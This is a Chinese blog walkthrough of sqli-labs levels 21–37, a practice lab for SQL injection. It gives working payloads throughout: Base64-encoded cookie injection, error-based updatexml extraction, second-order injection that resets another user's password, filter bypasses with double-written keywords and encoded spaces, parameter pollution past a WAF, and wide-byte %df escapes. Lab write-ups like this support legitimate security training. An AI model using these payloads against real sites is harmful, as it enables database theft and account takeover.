sqli-labs靶场实录(二): Advanced Injections

sqli-labs靶场实录: Advanced Injections

  • Less21
  • Less22
  • Less23
    • 探测注入点
  • Less24
  • Less25
    • 联合注入
    • 使用符号替代
  • Less25a
  • Less26
    • 逻辑符号绕过and/or过滤
    • 双写and/or绕过
  • Less26a
  • Less27
  • Less27a
  • Less28
  • Less28a
  • Less29
  • Less30
  • Less31
  • Less32(宽字节注入)
  • Less33
  • Less34
  • Less35
  • Less36
  • Less37
    • 免责声明:

Less21

先登录看看
在这可以看到这一关和第20关几乎一样在这里插入图片描述

都是在页面回显了Cookie
故还是HTTP头注入
仔细观察可以发现
这里面CookieUname参数不再是admin在这里插入图片描述

但是这个形式很像Base64编码的格式
猜测网站对uname参数进行了Base64编码
我们通过编码工具尝试破译
确实基于Base64解码得到了原本的值admin
在这里插入图片描述

因此
Cookie测试注入时我们需要将payload使用Base64编码一下
Payload如下
构造:')and updatexml(1,concat(1,database()),1)#
编码后得到

JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj

使用这串payload抓包改包测试一下
成功爆出库名
在这里插入图片描述

Less22

本关和上一关略有不同
上一关使用的Payload需要闭合的是单引号
这一关则需要闭合双引号
其他的Base64编码测试思路不变
构造" and updatexml(1,concat(1,database()),1)#
编码payload

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj

抓包改包注入爆库
在这里插入图片描述

Less23

这一关又回到原始的URL传参了
在这里插入图片描述
故我们使用之前的测试手法

探测注入点

构造?id='测试
数据库报错
说明存在注入
在这里插入图片描述
尝试闭合
构造?id='--+
发现闭合不了在这里插入图片描述
查看一下源码

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

留意到网站对注释符号--#进行了过滤
故我们要使用' or '1'='1手动的闭合原查询语句后的单引号
原查询语句为

SELECT * FROM users WHERE id='$input' LIMIT 0,1;

构造1' or '1'='1
查询语句为

SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1;

基于此我们构造id=-1' union select 1,database(),3 or '1' = '1
成功注入爆库
在这里插入图片描述

Less24

二次注入原理

  • 用户输入被存储到数据库(如注册、留言等),后续操作(如修改密码)中从数据库读取该数据并拼接成SQL语句,导致注入。

  • 例如:注册时插入恶意用户名payload,修改密码时触发对应用户名的SQL逻辑。

这一关我们看到多出了许多功能点
有忘记密码,新用户注册,用户登录
在这里插入图片描述
而我们登录一个正常账户进去后发现还有个修改密码的功能
在这里插入图片描述
因为修改密码
用户注册等功能均涉及sql数据库的更新
故先猜测这里能不能利用注册用户名这个功能点去二次注入修改他人的密码
先注册一个正常的用户看看
此时账户密码为:test01/123
查看源码可知
后端修改密码时涉及的sql语句如下:

   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

故在注册时构造恶意输入test01'#/666在这里插入图片描述

然后登录进去修改密码
在这里插入图片描述
这里返回登录页面
可以看到之前test01/123账户的密码已经被修改不可用了
在这里插入图片描述
使用刚刚通过注入修改的test01/666登录才可以在这里插入图片描述

Less25

这一关网站贴脸开大
明摆着告诉我们输入 ORAND 时会被过滤替换为空
故使用报错注入的方话会遇到困难在这里插入图片描述
则我们可以尝试如下的方法

联合注入

构造
?id=-1' union select 1,database(),version()--+
成功爆库
在这里插入图片描述

使用符号替代

既然orand被过滤
我们可以使用对应的逻辑符号||&&绕过
构造1'|| updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
成功爆库
在这里插入图片描述

Less25a

这一关和上一关的区别在于不需要使用单引号闭合了
故构造payload

-1 union select 1,database(),version()--+

爆库成功

Less26

这一关可以看到
网站对空格和注释符等符号都进行了统一过滤
在这里插入图片描述
查看源码可知确有其事

function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

基于此我们使用如下方法进行注入

逻辑符号绕过and/or过滤

由于注释符号被过滤
我们需要使用or '1'='1手动闭合单引号
构造?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1
成功爆库在这里插入图片描述

双写and/or绕过

构造?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1'='1
成功爆库
在这里插入图片描述

Less26a

这个一关和上一个的区别在于这里需要闭合的符号为')
那么这一关就用不了报错注入了
我们尝试联合注入
基于网站对空格过滤的规则
我们采用%a0编码空格进行绕过
构造0')%a0union%a0select%a01,database(),2||('1
成功爆库
在这里插入图片描述

Less27

这一关我们可以看到网站对UnionSelect符号进行了过滤在这里插入图片描述

意图阻止我们使用联合注入进行测试
查看一下源码
发现还有如下的字符被过滤了

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

故基于此我们可以使用报错注入构造如下payload

1'and%a0updatexml(1,concat(1,(select%a0database())),1)and'

也可以使用联合注入搭配大小写混合的方法
构造0%27%20%0a%20UniON%20%0aSELEct%0a1,database(),3%0a%20and%20%271%27=%271
可以看到都能成功爆库
在这里插入图片描述在这里插入图片描述

Less27a

这一关和上一关的区别在于闭合符号不同
本关需要使用双引号"进行闭合
故构造0%22%20%0A%20UniON%20%0ASELEct%0A1%2Cdatabase%28%29%2C3%0A%20and%20%221%22%3D%221
成功爆库
在这里插入图片描述

Less28

源码如下

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

本关卡审计源码可知
网站使用正则过滤了常用的注释符号和union+select的组合
并且sql查询语句如下

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

判断这里的闭合方式是')的组合
又因为注释符不可用
故利用('1')=('1进行手动闭合
保持源语句的完整性
接下来针对对正则过滤和空格过滤的规则
我们可以进行双写unionselect绕过和编码空格绕过
最后我们可以构造如下payload

?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),version()%0Aand%0A('1')=('1

成功爆库
在这里插入图片描述

Less28a

本关只正则过滤了union+select组合
相较上一关难度降低了
故构造相同payload即可爆库

?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),version()%0Aand%0A('1')=('1

在这里插入图片描述

Less29

本关看样子存在防火墙
那么我们尝试可进行绕过在这里插入图片描述
审计源码可知

本关卡前端存在WAF(Web应用防火墙)
后端采用双服务器架构(Apache+Tomcat
这种架构可能导致参数解析差异
可利用HTTP参数污染(HPP)绕过WAF检测
也就是我们可以传入两个参数 一个是正常参数用于欺骗防火墙 一个是恶意参数用于进行注入

故判断闭合方式为'单引号闭合后
构造?id=1&id=0' union select 1,database(),3--+
爆库成功
在这里插入图片描述

Less30

这一关仅在闭合方式上区别上一关
其采用双引号"闭合
故沿用上一关参数污染的方式修改payload?id=1&id=0" union select 1,database(),3--+
成功爆库
在这里插入图片描述

Less31

本关继续沿用参数污染的手法
根据闭合符号为")修改payload?id=1&id=0") union select 1,database(),3--+
成功爆库
在这里插入图片描述

Less32(宽字节注入)

这一关我们在进行常规测试时发现
网站对我们的单引号进行了转义处理
在这里插入图片描述
可以看到通过反斜杠\让单引号失去本身的语义功能
故我们想要注入的话
就必须除掉这个\
由于数据库采用的GBK编码
我们可以使用宽字节注入
在参数传递处加上%df绑定这个\
得到了一个宽字符
从而使得单引号成功逃逸
基于此我们构造?id=-1%df' union select 1,2,database()--+
成功爆库
在这里插入图片描述

Less33

本关使用上一关的payload即可成功注入
单纯传参方式不一样

?id=-1%df' union select 1,2,database()--+

成功爆库
在这里插入图片描述

Less34

这一关使用登录框通过post传参在这里插入图片描述

但是仍旧可以使用宽字节注入
bp抓包对Username参数进行注入即可
构造-1%df' union select 1,database()#
在这里插入图片描述
成功注入出库名

Less35

这一关使用基础的联合注入即可爆出库名
构造?id=-1 union select 1,2,database()--+
成功爆库
在这里插入图片描述

Less36

这一关过滤字符的函数换成了mysql_real_escape_string
但是沿用32关的payload采用宽字节注入即可绕过
构造?id=-1%df' union select 1,2,database()--+
在这里插入图片描述
成功爆库

Less37

这一关和34关测试手法和payload完全一致
抓包在Username参数注入即可
构造-1%df' union select 1,database()#
在这里插入图片描述
成功爆库

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/14539.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Websocket从原理到实战

引言 WebSocket 是一种在单个 TCP 连接上进行全双工通信的网络协议,它使得客户端和服务器之间能够进行实时、双向的通信,既然是通信协议一定要从发展历史到协议内容到应用场景最后到实战全方位了解 发展历史 WebSocket 最初是为了解决 HTTP 协议在实时…

Java 大视界 -- Java 大数据在智能供应链中的应用与优化(76)

💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…

使用AI工具(Deepseek or 豆包etc)话业务流程图

①打开AI工具,这里以Deepseek为例子: Deepseek官网 ②输入所要画图的业务流程的文字。 (这里以一个用户登录的流程的文字作为例子) mermaid在线画图网页(根据AI工具对应生成的画图代码) ③把AI工具生成的…

Qt+海康虚拟相机的调试

做机器视觉项目的时候,在没有相机或需要把现场采集的图片在本地跑一下做测试时,可以使用海康的虚拟相机调试。以下是设置步骤: 1.安装好海康MVS软件,在菜单栏->工具选择虚拟相机工具,如下图: 2.打开虚拟…

Docker安装Mysql

1.拉取Mysql docker pull mysql:8.3.02.检查成功了没有 docker images mysql:8.3.03.创建先关目录 # conf放配置文件,data放数据,log放日志 mkdir -p /home/mysql/{conf,data,log}4.创建配置文件 vim /home/mysql/conf/my.cnf把这些cv进去&#xff…

OpenCV:图像修复

目录 简述 1. 原理说明 1.1 Navier-Stokes方法(INPAINT_NS) 1.2 快速行进方法(INPAINT_TELEA) 2. 实现步骤 2.1 输入图像和掩膜(Mask) 2.2 调用cv2.inpaint()函数 2.3 完整代码示例 2.4 运行结果 …

数字化转型的三个阶段:信息化、数字化、数智化

在当今快速迭代的数字时代,企业的生存与发展已与数字化转型浪潮紧密相连。数字化转型不仅是对传统业务模式的深度革新,更是企业适应未来市场、提升竞争力的关键路径。这一过程并非一蹴而就,而是循序渐进地分为信息化、数字化、数智化三个阶段…

Spring Boot篇

为什么要用Spring Boot Spring Boot 优点非常多,如: 独立运行 Spring Boot 而且内嵌了各种 servlet 容器,Tomcat、Jetty 等,现在不再需要打成 war 包部署到 容器 中,Spring Boot 只要打成一个可执行的 jar 包就能独…

Python----Python高级(网络编程:网络基础:发展历程,IP地址,MAC地址,域名,端口,子网掩码,网关,URL,DHCP,交换机)

一、网络 早期的计算机程序都是在本机上运行的,数据存储和处理都在同一台机器上完成。随着技术的发展,人 们开始有了让计算机之间相互通信的需求。例如安装在个人计算机上的计算器或记事本应用,其运行环 境仅限于个人计算机内部。这种设置虽然…

JAVA安全—FastJson反序列化利用链跟踪autoType绕过

前言 FastJson这个漏洞我们之前讲过了,今天主要是对它的链条进行分析一下,明白链条的构造原理。 Java安全—log4j日志&FastJson序列化&JNDI注入_log4j漏洞-CSDN博客 漏洞版本 1.2.24及以下没有对序列化的类做校验,导致漏洞产生 1.2.25-1.2.41增加了黑名单限制,…

Kubernetes架构原则和对象设计(三)

云原生学习路线导航页(持续更新中) kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计(一)Kubernetes架构原则和对象设计(二)Kubernetes常见问题解答 本文主要对kubernetes的核心技术概念和核心A…

每日学习 设计模式 五种不同的单例模式

狮子大佬原文 https://blog.csdn.net/weixin_40461281/article/details/135050977 第一种 饿汉式 为什么叫饿汉,指的是"饿" 也就是说对象实例在程序启动时就已经被创建好,不管你是否需要,它都会在类加载时立即实例化,也就是说 实例化是在类加载时候完成的,早早的吃…

Transformer 详解:了解 GPT、BERT 和 T5 背后的模型

目录 什么是 Transformer? Transformer如何工作? Transformer 为何有用? 常见问题解答:机器学习中的 Transformer 在技​​术领域,突破通常来自于修复损坏的东西。制造第一架飞机的人研究过鸟类。莱特兄弟观察了秃鹫如何在气流中保持平衡,意识到稳定性比动力更重要。…

21.2.6 字体和边框

版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。 通过设置Rang.Font对象的几个成员就可以修改字体,设置Range.Borders就可以修改边框样式。 【例 21.6】【项目&#xff…

1456. 定长子串中元音的最大数目

目录 一、题目二、思路2.1 解题思路2.2 代码尝试2.3 疑难问题 三、解法四、收获4.1 心得4.2 举一反三 一、题目 二、思路 2.1 解题思路 维护一个统计变量,出入时间窗口就判断 2.2 代码尝试 class Solution { public:int maxVowels(string s, int k) {int sum0;i…

[LeetCode]day16 242.有效的字母异位词

242. 有效的字母异位词 - 力扣(LeetCode) 题目描述 给定两个字符串 s 和 t ,编写一个函数来判断 t 是否是 s 的 字母异位词 示例 1: 输入: s "anagram", t "nagaram" 输出: true示例 2: 输入: s "rat"…

蓝桥杯---力扣题库第38题目解析

文章目录 1.题目重述2.外观数列举例说明3.思路分析(双指针模拟)4.代码说明 1.题目重述 外观数列实际上就是给你一串数字,我们需要对于这个数据进行一个简单的描述罢了; 2.外观数列举例说明 外观数列都是从1开始的,也…

Linux网卡配置方法

1、查看IP ip a 网卡状态 UP/down 2、查看网关 如果显示route命令未找到需要下载net-tools软件包 route -n 3、查看DNS服务器地址 DNS服务器地址会存放在/etc/resolv.conf文件中 使用cat命令可以查看 cat /etc/resolv.conf 4、修改网卡配置 方法1)编…

DeepSeek使用技巧大全(含本地部署教程)

在人工智能技术日新月异的今天,DeepSeek 作为一款极具创新性和实用性的 AI,在众多同类产品中崭露头角,凭借其卓越的性能和丰富的功能,吸引了大量用户的关注。 DeepSeek 是一款由国内顶尖团队研发的人工智能,它基于先进…

消费电子产品中的噪声对TPS54202的影响

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时,也能帮助其他需要参考的朋友。如有谬误,欢迎大家进行指正。 一、概述 在白色家电领域,降压转换器的应用非常广泛,为了实现不同的功能就需要不同的电源轨。TPS542…